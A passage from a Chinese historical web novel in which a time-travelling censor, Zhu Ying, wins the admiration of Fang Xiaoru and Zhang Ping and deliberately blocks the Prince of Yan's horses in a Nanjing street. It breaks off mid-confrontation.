“哈哈哈哈,我就知道老方你不知老大的事迹,若是你知晓老大干了什么事,也就不会在朝堂上与老大那般硬碰硬了,想必是有人故意含糊其辞忽悠你,试图利用你与我老大为难。” “不知朱御史做了何事?” 原本方孝孺还没有放在心上,可经不住张平这一而再再而三地提及,顿时勾起了方孝孺的好奇心..... “这说来就话长了,这事情就得从那日殿试说起.....” “前些日子老方你也知道,我大明科举殿试的日子,殿试上要做什么事想来老方你该知道吧?” 方孝孺点了点头,他也是通过科举入朝进入老朱视野的,对于殿试上要做什么自然是十分清楚。 “殿试乃陛下出题百官阅卷,最后由陛下纵览钦点状元、探花、榜眼之才。” “不错,本次殿试陛下取题‘国本’,让我等以国本为题,你可知老大他是如何做的?” “如何做?莫不是言辞激烈,让陛下勃然大怒?”方孝孺努力发挥想象力。 张平笑吟吟地看着方孝孺,摇了摇头:“老方啊,你想象力还是太匮乏了些,不过也不怨你,老大的行为,若不是亲眼所见,怕是无人敢信。” “老大他连卷子都未答,当庭便怒斥百官,斥责陛下,更是......” 张平将当日之事添油加醋地一顿表述,听得一旁的方孝孺目瞪口呆,他看向朱煐的目光都全然不同了,眼中闪过一抹骇然与震撼! 方孝孺先前听齐泰提过一两句,在齐泰的口中朱煐就是个狂生,无能狂怒的狂生,结果却不曾想,做的事情居然狂到了这个地步! 不过紧接着方孝孺的心里就不由泛起了疑惑。 “朱御史这般行事,陛下竟然唯有表示?” “陛下哪能没有表示啊!你是不知道,当时陛下那是勃然大怒!” “不过后来陛下想必也是被我老大身上那刚正不阿的一身正气所折服,是以不光没有惩处,反而委以重用!” “不,陛下可不仅仅是为朱御史的气势所摄,陛下焉能如此肤浅?” 方孝孺却当即反驳了张平,而后一脸认真地说道:“我猜是朱御史一言惊醒梦中人,陛下刚经历丧子之痛尚未缓过神来,却不曾想朱御史直言立皇储乃大明重中之重,皇储乃国本,又给陛下分析了眼下两位皇孙的优劣隐患,是以陛下对朱御史委以重任不光光只是因为朱御史的性格行径,还有朱御史卓然的眼光!” “啪!” 方孝孺此言一出,张平猛地一激动,一巴掌拍在了身边的桌子上:“原来如此!” “好好好,原来如此啊!” “什么????” 方孝孺一愣,愕然地看向张平。 “我说怎么我也同老大一般直言不讳,怎么就没有被陛下重用呢,原先我一直以为只是老大做的更为无畏无惧,而我却半路退缩被陛下所看穿,然而老方你刚刚这一番话,当真是一语惊醒梦中人!合着是因为我缺少了老大卓然的眼光!” “我只知效仿老大,却不知这真正的效仿,是效仿老大为陛下排忧解难!” “老方啊,我要是能遭遇到你几日那便好了,不至于做出那般糊涂的事情,若非老大出手,我便是要被陛下当真诛了三族了.....” 张平打开了话匣子,喋喋不休地和方孝孺哭诉着自己是如何下定决心准备放手一搏,之后又是如何差点被老朱诛了三族,再之后又是朱煐如何不计前嫌仗义开口直面老朱,再是如何投入朱煐麾下.....” 张平一路从南山敬老院说到了北海幼儿园,从南说到北又从北说回南,将这几天朝堂上的事情全都给一股脑儿地绘声绘色地讲述了一遍,直听得方孝孺一愣一愣的.... 一旁,朱煐听着张平说着自己的这些个光荣事迹也是老脸一红..... 这当着人的面被人这般夸赞,哪怕是朱煐的脸皮也感觉到了有一些不好意思..... 旁人不知道其中的一二三四五,可作为当事人朱煐却十分清楚当时自己的想法,完全没有张平口中的那般高大上,在张平的口中,自己那就是先天下之忧而忧,后天下之乐而乐的圣贤,是忧国忧民,将生死置之度外的大明肱股,是不畏皇权,不惧百官的正义之士,更是为了天下百姓可以放弃十族的伟大官员..... 可只有朱煐自己心里知道,虽然张平说的这些都是客观事实,可出发点却和他所说的全然不同,自己一直以来的出发点都是为求解脱,是为了离开这个时代,是为了九世圆满,回归现世,觅得长生啊..... “咳咳....其实那什么....张平说的有些夸张了,我也是有私心的,所做一切,也都是为了自己。”朱煐试图解释,张平的一句句话让他听了汗颜,在张平的口中,他已然成了当世圣贤。 可朱煐一开口却被张平直接打断。 “老大你不必解释了,我们都懂的,你的私心就是为了大明安定,为了天下万民,为官一任,何惜此身?这话是老大你说了,志远心中谨记。吾之一生只认真理,莫说九族,便是诛我十族又有何妨?这话也是老大你说的,志远一直记得。” “老大,你一直以来都有个毛病,我今天实在是忍不住了,必须得说了。” “你太过谦虚,有时候你过分的谦虚甚至让我感受到了嘲讽,你是看不起我们。可我心里知晓,老大你不是这种人。只是你太过谦虚让我等自残形愧。” 张平一句话接着一句话,振振有词,朱煐想反驳,可话到嘴边却又不知道该如何反驳,一时间被说的哑口无言..... “好!” 就在此时,一旁的方孝孺激动不已,脸色涨得通红,豁然起身拍手叫好。 “好一个只认真理!” “好一个莫说九族,便是诛十族也无妨。朱御史好气魄!此言便是方某也不敢说出。” “能说出这句话,我方孝孺佩服!” “大明能有朱御史,乃我大明之大幸!” “志远兄,为此当浮一大白!” 说着方孝孺举起了手中的茶杯:“此处无酒,我便以茶代酒,这一杯茶敬朱御史!” “哈哈哈哈哈,确实,当浮一大白!” “老大,我敬你!” 说着张平也举起了手中的茶杯,与方孝孺隔空一碰,两人一饮而尽..... 朱煐:“.......” 我没有.... 我真不是这么想的..... 第41章 与永乐大帝的初见 张平是个直性子,寒门出生的他走到这一步靠的除了他的才华之外,还有那一颗永不服输的心。 方孝孺的性格刚正,与张平倒是聊得来,两人推杯换盏,一来二去,大有相见恨晚之感,看得朱煐不由咂舌。 朱煐不晓得这历史上方孝孺和张平有没有什么太过深入的交集与交流,要是有的话,想必也因为方孝孺的口出无状而被朱老四给埋葬在历史烟尘中了。 能在史书上留名的人并不多,很多人哪怕是拼上了性命也留不下一个名字,能在史书上留下一句,某年某月某日,某人行了某事,哪怕是没有姓名只是标注了有个人做了这个事,那也足以自傲了。 一代代的人太多,而能流传下去的名字太少太少.... 方孝孺和张平一见如故,两人相互交流了自己的理想。 方孝孺希望能够青史留名,能够成为大明柱石,辅佐皇帝在史书上留下一笔美谈。 张平的志向也与方孝孺类似。 事实上不光是张平,但凡是文官,又有几人能拒绝青史留名和匡扶社稷这两个宏大理想的呢? 之后二人又聊到了朱煐,朱煐没想到自己只是在一旁静静看着,也能成为主角。 张平和方孝孺都对朱煐的行事表示了敬佩,能够直面老朱这样的皇帝却依旧保持着本心,能够直面百官却又不退半步,这是何等的胆魄?这是何等的坚守? “若论匡扶社稷之心,方某远不及朱御史矣.....” 方孝孺听了朱煐的事迹之后自残形愧,他自问做不出朱煐做出的那些事,人往往会对一个能做到自己想做却又做不成的事情的人深感敬佩,而显然,此刻的方孝孺便是如此。 朱煐所做之事是他一直想要做的事情,可偏偏这样的事情,他自问倘若易位处之,自己是决计不敢干的。 这已经不是性格刚正可以解释的了,这就是疯子!疯狂! “老方,你也不必灰心,先前的时候我也是同你一般这样想的,我也曾效仿老大,希望能够走上老大的路,行老大所行之事,可当陛下真正下令要诛我三族的时候,我不得不承认,我慌了。” “从那时候我就知道,我比不上老大,不过如此不是也很好吗?我们可以以老大为目标,虽然我们成不了老大,做不到他那般无惧无畏,可我们却能远胜那些在朝堂上蝇营狗苟,尸位素餐,庸庸碌碌的官员。” “我们当以老大为榜样,切不可丧失了信心啊。” “志远贤弟所言甚是,朱御史这般刚正之人古今少有,竟连十族也无惧,只认真理,这般坚定的内心,方某远远不及,却又钦佩不以。” “不怕志远老弟笑话,事实上在有些时候方某也曾想过,日后若是有机会,当真要方某面临抉择,是诛九族还是坚持自己.....” 张平闻言不由好奇:“你想过?结果呢?” 方孝孺苦笑着摇了摇头:“原本我还想着不知结果,可转念一想,却是我犹豫了,事实上面临这样的选择犹豫的那一刻起,我便已经做出了选择,我畏惧九族尽灭,所以无法坚持自己。” “朱御史面对诛十族的威胁都面不改色凛然无惧,孝孺叹服。” “老大不是一般人,我们不用和他比。” 张平随口说道。 朱煐:“.........” 听着两人你一言我一语地在耳边叨叨,一具具赞美飘进耳中,朱煐听着也是老脸微红,他不语,只是一味喝茶..... 诛十族都不怕? 想多了,那不是因为老子没有十族么.... 爹妈都是流民,压根就不知道祖籍何处,便宜老爹和老妈一死,这天地间再也找不到任何一个亲族了。至于亲朋好友,老师故交,要是换做旁人,普通人,那指定也是有这些羁绊的,可朱煐.....偏偏没有....... 他从小就已经降临大明,知晓日后自己要做什么,恰逢父母重病,他忙着给父母养老送终,之后又靠着自己多世以来的经验,自学成才考入了殿试.... 可以说,朱煐就是十族本族。 当然,这些话朱煐懒得说,因为他知道,哪怕是说了也只会被两人觉得是谦虚,他也懒得解释。左右在大明的时间不会太久,他坚信随着自己做出一桩桩一件件皇帝无法容忍之事,老朱哪怕是耐心再好,那也有被消磨殆尽的一天...... ........... 此后几天,方孝孺和张平走得越来越近了。 两人经常在朝堂上窃窃私语,这是只有两个关系很好的朝臣才会做的事。 张平私下里找到朱煐,说过原因,初时他是想要拉方孝孺入伙,他觉得方孝孺是罕见的无畏生死之人,也只有这种人才配在朱煐身边。 不过之后接触下来,张平就是交心了。 他本就是初入朝堂,在朝堂里没有几个相熟的人,而方孝孺也是刚从汉中府回京,这京中有不少人都认识,可要说熟悉,却也说不上,当人们到了一个陌生环境,往往更容易交到朋友,因为固定的圈子尚未形成,你会小心翼翼但主动地与周围的人去相互接触,相互碰撞,最终判断是否三观一致志趣相投。 朱煐自然是乐见其成。 只一点理由他就不会拒绝张平的此举。 要知道,方孝孺才是真正历史上诛十族的人啊! 这是个狠人,而且以他的脾气,明里暗里看他不爽的人大有人在! 这样的人,或许对于别人来说,那是个祸害,与之相交容易惹火上身被牵连,可对于朱煐而言,方孝孺这样的,显然就是人才中的人才,毋庸置疑! .......... 张平与方孝孺两人相熟之后,再加上方孝孺心中对朱煐的佩服,有心结交,朱煐也有心接触,希望能够借助方孝孺的力量,让自己在朝堂上树敌更多一些。 人力有穷时,自己毕竟只是一人,多一个朋友就多一群敌人,尤其是方孝孺这样的朋友,能够遇到这样的队友,朱煐觉得也是三生有幸。 这一日方退朝。 在张平的提议下,几人准备到应天府有名的一家酒楼中饮酒。 这是朱煐来到大明,入朝之后的第一次外出赴宴。 入了殿试之后的这些日子,朱煐的精神一直都在紧绷的状态,经历了不少次的大喜大悲,先是入了天牢,以为自己要死了,结果又被莫名其妙释放,此后多次密谋计划,却因满清所修明史中对老朱的记述有误,因为老朱过于宽厚仁慈,以至于一次次计划破产。 这些日子以来朱煐一直在努力,他想要尽快在老朱手上完成计划,可偏偏天不遂人愿...... 经过这些天的努力尝试,朱煐已经有些认清了现实,现实就是老朱的脾气比想象中的还要好太多太多,想要快速完成任务显然不可能,需要做好打持久战的准备。 朱煐明白这些事儿着急不来后也就将注意力稍稍抽离出来。 所谓欲速则不达,计划归计划,日常归日常,一边过日子,一边去找取死之道。朱煐不是个古板的急性子,他很灵活。 只要自己还在朝中,还在老朱的注意范围里,那就有的是机会,不急于一时。 路上,方孝孺和张平谈及近些日子的皇储之争。 朱允熥他们见过,也相熟,因为朱允熥一直住在朱煐的家中,只是他依旧懦弱,一直待在房间里,很少出门,只有吃饭的时候会让人把饭菜端进去吃.... 今日方孝孺提议去酒楼吃酒,朱煐也问过朱允熥,可朱允熥委婉表示依旧不想出门,这小子总感觉外面不安全,只有自己的房间里最安全,待着最安心..... 或许是在东宫,在吕氏的精神压迫下时间太久,产生了一点被迫害妄想症..... “老大,这允熥皇孙要想与允炆殿下相争,这性子着实得改改才是。” “属实如此,允熥皇孙性子内向了一些。”方孝孺说话说得也委婉,要说之前,无论是朱允炆当皇储还是朱允熥当皇储对他而言都没有什么区别,可现在不同了,他和黄子澄、齐泰一拍两散,而黄子澄和齐泰显然是支持朱允炆的,且在朱允炆的阵营中位置颇高..... 方孝孺当真想完成心中理想抱负,希望能够当大明肱股,匡扶大明的话,那他的选择也就只剩下了朱允熥....... 可想到朱允熥的性子,哪怕是方孝孺也是不由皱起眉头,觉得颇为棘手.... “眼下时局动荡,大明,风雨飘摇啊,希望陛下能够保重龙体,将大明再维持些年才是。” 张平叹了口气说道。 方孝孺赞同地点了点头:“允熥殿下还需成长,哪怕是允炆殿下,他距离当储君也差了一大段距离,眼下他的能力还远远不足。内有淮西与文官集团争斗,外有藩王虎视眈眈,陛下的这些个儿子可没有一个易与之辈.....” “谁说不是呢,秦王不止一次来提醒,燕王野心勃勃,不可不防。” 张平点头赞同,不由叹了口气道:“算算日子,这燕王也该入京了才是。”秦王都入京这么些天了,他收到消息快马入京的话,这几日便该到了。” “燕王要入了应天府,那这应天府的局面可就更乱了...” “乱?乱了好啊,老方,这应天府不乱,如何能显出我们的本事来?此番便是我等匡扶大明的第一役,无论是允炆皇孙还是允熥皇孙当皇储,我等无愧本心即可,可这几位王爷若是心存异心,却得先问过我张志远答不答应!” 方孝孺点头表示认可:“但愿燕王不要自误才是.....” “燕王若是自误,那老方,说不得我们扬名千古的机会就来了!”言语间张平竟是隐隐还有些激动,转头看向朱煐:“老大,这回你可别和我们抢啊!” 朱煐不语,只是笑了笑。 如此良机,岂能错过? 真要有得罪这燕王朱棣朱老四的机会,那不用说,咱必须一马当先,首当其冲啊!这么好的机会,怎么能让? 不过这些说的还太早了,还需要等朱老四进京之后再说。 朱棣入京的消息自从朱樉入京之后朱煐就一直在关注了,谁让他是以后的永乐大帝呢?和朱允炆这位之后的建文帝一样,被朱煐视作必须得罪,不可不得罪的对象! 不过朱棣的行程终究是秘密,朱煐也只能推算出大致的事件,也就是这两天..... 三人说话间,忽然听闻一阵马蹄声响起..... 张平和方孝孺倏然停下了言语,朱煐也是一愣,三人互视一眼,都看出了对方眼中的愕然..... 要知道眼下这里可是应天府城内,更是朱雀大街这样的闹市区,周围的行人百姓不少,谁敢在皇城纵马?不要命了? 真当应天府衙门是摆设吗? 好大的胆子! 不远处,人群已经自觉地让开了路,不少人匆忙避让被绊倒摔在了路边,纵马之人似乎故意弄出较大的声势让百姓有避让的时间..... 烟尘滚滚,一行人终于出现在了朱煐三人的眼中..... 为首之人与老朱长得有四分相像,身披甲胄,纵马而行,速度倒是不快,但动静不小。想来他也担心闹出人命....... “是燕王!” “燕王竟在此时入了京?” 方孝孺惊呼。 相较于朱煐和张平这两个纯萌新,方孝孺好歹在十年前入京且受到过老朱的亲自接见,当时他曾与燕王朱棣有过一面之缘,所以他记得朱棣的样貌,眼下只是看了一眼他就把朱棣给认了出来。 在古代,信息传播并不方便,所谓的人物画像更是抽象,按照画像去辨人,那百分之九十九都是个笑话,所以朱煐和张平事实上都是不认识朱棣的,听方孝孺这么一说,两人顿时恍然! 难怪与老朱有几分相似,原来这位便是燕王! 朱煐看向朱棣,朱棣带着身后的十余人策马而来,他很着急,急于入宫见老朱,或者说他并不着急,但必须表现出一副很着急,星夜兼程赶来的样子..... “让开,速速让开!” 人马没到,声音已经到了,也正是朱棣等人一路呼喊故意惊扰百姓,所以才让沿路的百姓在他们的策马下提前有些准备进行躲避,没有造成死伤..... 而听着这声音,朱煐的眼中却是爆发出了精芒! 第42章 你是燕王又如何? 朱棣骑着胯下战马,看似很急,实则面色却非常的平静,心里更是波澜不惊..... 事实上今天的当街纵马是他入城前就同姚广孝等一起商议出来的,做做样子..... 毕竟老朱的诏书是在一个多月前下的,而他却迟到这么久,总该做出点态度,眼下纵马之意就是告诉旁人,你看我都已经记得当街纵马入宫了,哪怕受到惩处也要遵从诏令速速入宫,先前确实是因为有病在身无法启程。 虽然这话没有多少人会信,可态度摆在这儿了,也让人找不出理由。 至于纵马之罪,能有多重? 好歹自己也是燕王,堂堂大明王爷,偶尔一次纵马,且并未真正伤到百姓,这无非就是赔偿一些银两,被老朱和百官训斥两句而已,相较于不遵诏令,延迟回京而言,这罪名就轻多了..... 他就是要用一个轻的罪以避免重罪的重罚。 朱棣一边策马扬鞭,一边他的心里却想着入宫之后该如何开口回答老朱的问询..... 这些日子在路上朱棣自我演练了很多次,可面对老朱他依旧是感受到了忐忑,这是血脉上的压制,也是从小到大养成的下意识的畏惧..... 老朱的这几个儿子,每个都称得上是有一方之才,朱樉好战但确实有统兵之才,朱棡低调内敛,可他却是在幕后布局的真正好手,冷眼旁观,从容落子。而朱棣更是,一己之力镇守北平府,把北边的草原人杀得丢盔弃甲,北元朝廷非但没有壮大,反而成了他的养料,兵马日壮,要不是藩王麾下兵马有限制,怕是朱棣一人就能开疆拓土,自创一国,其统兵之才,带兵之能,都是顶尖。 可偏偏这些个儿子,无论是朱樉、朱棢亦或是朱棣,全都对老朱从心底里地敬畏。 他们很出众,很优秀,可比之老朱所取得的战绩却远远不如。 莫说是老朱,就连他们的大哥朱标之才,也稳压几人。 朱樉三人最敬的是一手将三人带大,在老朱面前为三人不知道求情求了多少次的大哥朱标,而最怕的就是老朱了,从小到大老朱秉承着传统的育儿方式——棍棒底下出孝子,那打板子是真往死里打,抽鞭子当真是往死里抽啊! 朱棣打心底里对老朱畏惧,这也是他如此做派的原因,好歹要给暴躁老爹一个台阶下,要不然收了诏书不入京,这不是不给老爹面子吗? 这头朱棣正想着呢,却不曾想忽然眼前多出了三人,这三人原本和旁人一般走在路上,旁人见到纵马声势浩大尽皆退让,这三人却是一动不动,如此就显得鹤立鸡群了。 “让开!给我让开!” 朱棣策马大吼,扬起手上的鞭子,而同朱棣一起策马的麾下也都是大吼。 可朱棣却发现他的大吼好似并没有起到任何的作用,眼前三人一动不动,就挡在朱雀大道的正中央。 “不要命了?” 朱棣脸色骤变,马匹的行进速度很快,这眨眼的功夫就已经冲到了三人身前,这要是撞上去,非死即伤! 朱棣手上缰绳猛地一拉.... “唏律律!” 顿时,他胯下的战马直立而起,两只前蹄骤然拔高,在朱棣强拉下,堪堪骤停,也就是朱棣常年在马上征战,御马手段高超,这才在如此短的距离里停下了马匹,但凡换个不熟悉马术的,怕是难以做到。 此刻的朱棣脸色铁青,额头上已经布满了汗渍,勒住了缰绳停下了马之后朱棣方才有功夫看向眼前的三人,眼前三人身着长衫,看装扮是三个读书人。 朱棣可不管读书人不读书人的,他的心情差极了。 现在想想他都不由得有些后怕,这路上居然还真碰上了三个有心找死的! 以方才策马的速度,只要是冲撞上去,三人非死即重伤! 皇城脚下,纵马扰民已是大罪,可扰民毕竟没有伤民,最多也就是在民间被议论两句,可这要是伤了百姓,或者有百姓因此而死,那这事情可就彻底闹大了! 朱棣本意是想纵马皇城以此来用行动做出解释,表示自己并非有意违诏,而是不得已,身体不行不能奉诏,身体一好也就日夜兼程而来,以致于纵马扰民。 可就是眼前这三人,险些让自己犯了大罪! 万一真因纵马出了人命,朱棣越想越是后怕,额头的汗渍止不住地流淌..... ...... 而此刻,站在朱棣面前的三人却是面不改色。i 不错,这三人正是朱煐、方孝孺、张平三人。 话还得回到片刻之前。 三人看到朱棣纵马,方孝孺和张平当即大骂朱棣,身为王爷纵马扰民,两人叫嚣着要去老朱面前奏上一本。 “皇城纵马,便是燕王也该严惩!” “老方你说的对,我与你同奏燕王!” 张平也是愤慨。 要是换做旁人,其他官员,或许见了朱棣纵马会睁一只眼闭只一眼,毕竟朱棣乃燕王,是实打实的王爷,是老朱的亲儿子。可张平和方孝孺是谁? 一个是刚入朝就敢学着朱煐找死的存在,一个的威名在历史上已然赫赫,后世靖难成功登基称帝的朱棣尚且无惧,还怕此刻尚是燕王的朱棣? 见朱棣带人纵马而来,两人顿时无比愤慨。 可有一点,虽然两人心中愤慨,却不曾想过在此时阻拦朱棣,都只是想着之后向老朱奏上一本。 阻拦眼下的朱棣? 就这纵马驰骋的速度,怎么阻拦? 要是用外物强阻,万一惊了马屁,这王爷出了个好歹,谁能负责? 不用外物的话...难不成用血肉之躯?就这行进速度,血肉之躯上去被撞飞,不死也重伤! 无论是张平还是方孝孺,都没有去找死的想法。 然而就在此时,看着纵马而来的朱棣,朱煐却是眼前一亮..... 真就是说曹操曹操到,想什么什么来啊! 朱棣? 燕王朱棣? 永乐大帝朱棣? 朱煐早在几日前朱樉首次登门拜访的时候心里就已经有了对朱棣的一系列计划,他早就已经惦记上了这位大明燕王。 朱煐素来是个谨慎的人,不光在老朱身上试了诸多手段,还早早得罪了朱允炆,站在了朱允炆的对立面,因为他知道朱允炆将会在日后登基,是日后的建文帝,提早得罪建文帝,已有取死之道!更方便日后完成任务,当成一层保险。 可这光一层保险,朱煐觉着尚且还不够保险,他要留下更多的后手! 于是当日在朱樉第一次登门的时候朱煐就有了针对朱棣这位未来的永乐大帝的想法,这将会是第二层保险! 老方是怎么死的? 不就是怒喷朱老四被灭的十族吗? 想要在这家伙的手上求死,想来也是不难,这要是提早得罪,岂不更加简单? 不过有些蛋疼的是虽然朱煐有心得罪朱棣,却也只能从侧面得罪,因为这货还没有入京,还不在应天府呢..... 他只能说埋下一些后手,让朱棣进京了解到自己被算计之后产生厌恶..... 可厌恶终究只是厌恶,还是比不上直接得罪来得实在。 朱煐太想进步了,在这大明如同行尸走肉般无聊地活着,远不如回后世长生不死来得痛快,他必须确保这最后一世的任务万无一失! 朱煐心心念念朱棣,等了一天又一天,偏偏朱棣就是还没有到京城...... 没想到啊没想到,这踏破铁鞋无觅处得来全不费工夫,今天出门吃酒,居然在这朱雀大街上碰上了这位爷! 这可是两人的初见! 在两个人第一次见面的时候,给对方留下的印象往往将会直接影响到两人往后的直接关系。 这就像是后世应聘,求职者会想着给面试官一个好印象,一个好印象能让人下意识地给你带上一个好的滤镜。 而同理反推。朱煐就决定送给这位燕王一个难忘的坏印象。 这好印象有好印象的滤镜,自然这要是第一次见面就来个差劲到底的印象,直接给这位爷给安排了,这日后还愁当不成死敌? 于是在张平和方孝孺骂骂咧咧地准备退到一旁的时候,朱煐毅然决然地挺身而出,他非但没有躲闪,反而直接站到了街道的中间位置,眼中满是坚定。 而此举让张平与方孝孺皆是一愣。 “你们先退下,我来阻他。天子犯法与民同罪,今天燕王此举既然被我朱煐看到,那就不能坐视不管,我大明百姓焉能容他这般践踏?” 朱煐说的正气凛然。 张平和方孝孺毕竟无辜,朱煐想劝两人退下。 可他没想到的却是他的这话一出,张平和方孝孺的脸上顿时露出了惭愧之色.... “老大,你说的对,我等为民为官,焉能在此刻退缩?” “老方你退至一旁,今日之事与你无关。” 听到张平这话,方孝孺顿时就不乐意了....当即方孝孺眼睛一瞪,脸色涨得通红..... “张志远你说的这是什么话?” “你是看不起方某?” “你能将生死置之度外,我方孝孺就是贪生怕死之辈了?” “燕王皇城纵马已是大罪,为防其伤了百姓,阻其去路,我方孝孺义不容辞!” 当即你一言我一语,方孝孺和张平坚定地站在了朱煐的身侧。 几人之间言语虽然不少,可事实上这一切都只是发生在电光火石之间...... 于是也就出现了方才的那一幕,朱棣被三人逼的不得不强行勒马,生怕闹出了人命..... ...... “你们都不要命了?” “找死不成?” 朱棣怒气冲冲地质问。 想到险些伤了人的性命,心里一阵后怕。可即便没有伤到对方的性命,今日所发生的事情想必也会送到老朱的案头,要知道因为纵马险些伤人,今日的事怕是就不得善了了..... 正因如此,朱棣才如此愤怒。 “哼!阁下好大的威风啊!” “皇城纵马也能这般义正言辞?” 朱煐冷笑着嘲讽道,抬头望向马上的朱棣,眼中满是嘲弄..... “大胆!你可知你面前的是何人?” 朱棣还没开口,一旁的心腹忍不住了。 能被朱棣带来在身边的尽皆是和朱棣出生入死的心腹,他们深得朱棣的信任,士为知己者死,这些人自然也是无比维护朱棣,因此在朱煐一开口之后,朱棣身边的人就迫不及待地站了出来对其呵斥。 朱煐冷笑:“何人也不得在皇城纵马!更何况你们这般,你们可知此举会惊扰多少百姓?” “你们且等着吧,不管你们是何人,今日吾必将尔等送入府衙,当应天府府衙是吃干饭的?” “哈哈哈哈,应天府府衙,我家王爷乃是燕王殿下,你问问应天府府衙可敢对我家王爷出手?” 朱棣没有说话,但他手下已经把话全给说了,而其心腹在说完之后一脸嘲弄地看向朱煐三人,他想要在三人的脸上看到他所期待的神情..... 不过注定要让他失望了,在他说出朱棣是燕王的消息的时候,他却发现眼前三人的脸色无比平静,这消息压根没有让三人有丝毫的动容..... “燕王又如何?” “天子犯法与庶民同罪,何况燕王?” “今日别说是燕王,就算是当今陛下来了,老子也要让他去这应天府府衙走上一遭!” “应天府府尹要是不敢审,那便我来!” 朱煐直面朱棣,无论是身子还是眼神都没有丝毫的退让,语气坚定决绝,声如洪钟传遍四下,周遭缓过神来的百姓纷纷在远处指指点点,听得朱煐的这番话顿时齐声叫好。 “说得好!王爷就能高高在上吗?” “小兄弟说的对!天子犯法与民同罪,何况王爷?” “王爷就能当街纵马?这不仗势欺人吗?” “.......” 周遭百姓的议论声不绝于耳,百姓仗着自己在人群中不易被找出也就大胆了许多,有的是在发表自己的见解对朱煐进行声援,有的则是起哄看好戏,从古至今华夏的百姓都爱看热闹,后世如此,大明更是!更何况这还是有关王爷这样位高权重的人的热闹! 周围的议论声传入了朱棣的耳中,朱棣不由皱起了眉头..... 眼下的局面是他没有想到的,事情正在往与他既定好全然不同的方向发展而去..... 第43章 请燕王入狱! 朱棣看向朱煐三人,有些恼了。 这三个该死的儒生! 好大的口气! 要是在北平府,朱棣就准备发飙了,可眼下是身在京城,而且还是理亏在前,这要是被百姓给围上把事情给闹大了,那可真要吃不了兜着走了! 先是违抗诏令在先,入京之后又闹得满城风雨,这无异于就是对朝廷的挑衅嘎! 想到这,朱棣的脸色更黑了....他眼中满是愤懑。 他娘的,出门今天没看黄历,这点儿太背了! 在朱棣眼里,朱煐三人就是读书已经读傻了的书呆子,而且还是三个脑子不好使的不要命的书呆子!让人头疼! ..... 朱棣沉默的同时,朱煐一直在观察着朱棣,这位后世历史上留下浓墨重彩的一笔的永乐大帝。 朱棣喜怒形于色,并未隐藏,因此朱煐一眼就看出了朱棣眼中蕴藏着的怒意。 朱棣怒了! 朱老四生气了! 意识到这一点的朱煐只觉得眼前一亮。 好好好! 心中大喜。 看来和老朱不同,明史上对于朱棣这位皇帝的记载并没有太大的偏差,这货的脾气还真不咋地! 这感情好啊,今天的事情指定是被这小心眼的朱老四给惦记上了,日后算得上是后手! 不过这还不够,还得再接再厉,真正结成死仇才好。 毕竟这人都是健忘的,距离朱棣成皇帝还早着呢,万一这货日后给忘了或者仇恨衰减了可咋办? 好在眼下朱棣入京,有了充足与之接触的机会,来日方长。 ..... “你们三人当真不让?” 朱棣冷冽的声音响起,他已经失去了耐心。 “想要我们让开,除非你们从我的尸体上踏过去!” 朱煐丝毫不退,眼睛直勾勾地盯着朱棣以及他身边的十余铁骑。 “好!很好!本王就喜欢你这样的硬骨头!” “本王倒要看看,你到底有多大的胆子!” “退后三十步,所有人随我冲锋!” 说完朱棣冷冷地扫了朱煐、方孝孺和张平一眼:“既然你们找死,那本王就成全你们!今日你们不退,那就从你们尸体上踏过去!” 朱棣说完一挥手,跟随着他的十余骑令行禁止往后速推三十步,周遭的百姓纷纷噤声不敢大声喧嚣。 朱棣毕竟是燕王,大明王爷的威风,那还不是乡野小民能够担得起的,一个个都只敢在周遭人的耳边小声说话,生怕牵连到自己..... “老大,怎么办?” 张平脸色难看。 “这燕王当真无法无天,光天化日之下,当真敢如此倒行逆施!他就不怕陛下追责吗?” “他毕竟是王爷,便是犯了天大的事,只要不是造反,也最多是惩处一番罢了。”方孝孺叹了口气说道,他也不由看向了朱煐。 眼下朱棣的行为出乎了两人的预料,谁也没想到朱老四会摆出这么一副鱼死网破的架势。 “你们要是害怕就往后退一退,我早已孑然一身,父母故去又无亲友,眼下还活着只是为了追寻心中的执着,只是为了天下百姓,为了我泱泱大明,死于我朱煐而言,或许是个解脱,燕王今日要纵马,我朱煐要是皱个眉头,那便不配做这大明御史!” 朱煐嘴上义正言辞,可心里还是有些许的惴惴不安。 这朱老四不会真要冲锋撞死人吧? 朱煐求死,可并不代表着他不怕死,求死要两个条件同时符合才行,一个是为‘家国天下’而死,一个是直接或间接死在皇帝手中,眼下朱棣还不是皇帝,并不满足条件,真要是被撞死的话,那就是真死了,而且是纯白给的白死..... 可退...? 现在已经到了箭到弦上不得不发的时候,一个退让可能就会朱棣轻视自己,或许就从一个阻挠他的仇敌变成了一个不足畏惧的小角色,一个小角色能被他记在心里吗? 想必是不会的,也就是说,一旦退了,或许就成了朱棣眼中的边缘人物,哪怕日后他登基,自己真想求死,他都可能因为看不起自己而懒得杀,以免背负骂名,他会觉得不值得。 所以....不能退!坚决不能退! 朱煐坚定地站在原地。 而他的身后,方孝孺和张平不约而同地看向了对方,互视一眼之后都看出了对方眼中的惭愧.... 两人听了朱煐的话后,同时羞愧不已。 “老大,你别说了,你这是打我们的脸啊!” “你不怕死,我张志远又岂是贪生怕死之徒?” “我方孝孺奉陪到底!” 方孝孺和张平的眼神中充满了坚定,而两人的行动也表示了他们的态度,全都一动不动地站在原地,面对三十步之外正在蓄力的朱棣以及他那蓄势待发的心腹手下脸上没有半分惧色,充满了坚定与决然..... ...... “你们还不退?” “好好好,既然你们找死,那本王就成全你!” “所有人听我号令!” “本王数三声,三声之后,所有人,一起冲!踩死了本王扛着!” 朱棣的声音响彻周遭....他身边的心腹蓄势待发.... “三!” 朱棣开口倒计时,声音传遍四野,自然,也传入了朱煐三人的耳中,可三人却依旧一动未动,站着如同三棵老松一般..... “二!” 朱棣继续倒计时,一时间,一股压力席卷全场,就连周遭的百姓都感受到了压力,纷纷屏住了呼吸,眼神齐刷刷地落在了朱煐三人的身上..... 而此时的朱煐却依旧是气定神闲,仿佛这一切都与他无关一般..... 他直接蔑视了朱棣的气势压迫。 “一!” 最终....朱棣喊出了‘一’..... “冲!” 话音落,朱棣一马当前,周遭的十余名心腹在他身后五步紧紧跟随.... 三十步的距离以快马的速度眨眼的功夫就到了,朱棣和他的十余个心腹已经策马奔到了朱煐三人的近前....按照眼下的这气势和冲锋速度,完全就是奔着撞死三人来的...... 朱煐坦然面对冲锋而来的朱棣以及他的十余心腹。 方孝孺和张平有些紧张,手不由得握紧了拳头,咽了咽口水,可两人也同样没有后退半步,就这么挡在了朱雀大街正中央,面对朱老四带人的冲锋不退半步..... 朱棣的人马越来越近,越来越近..... 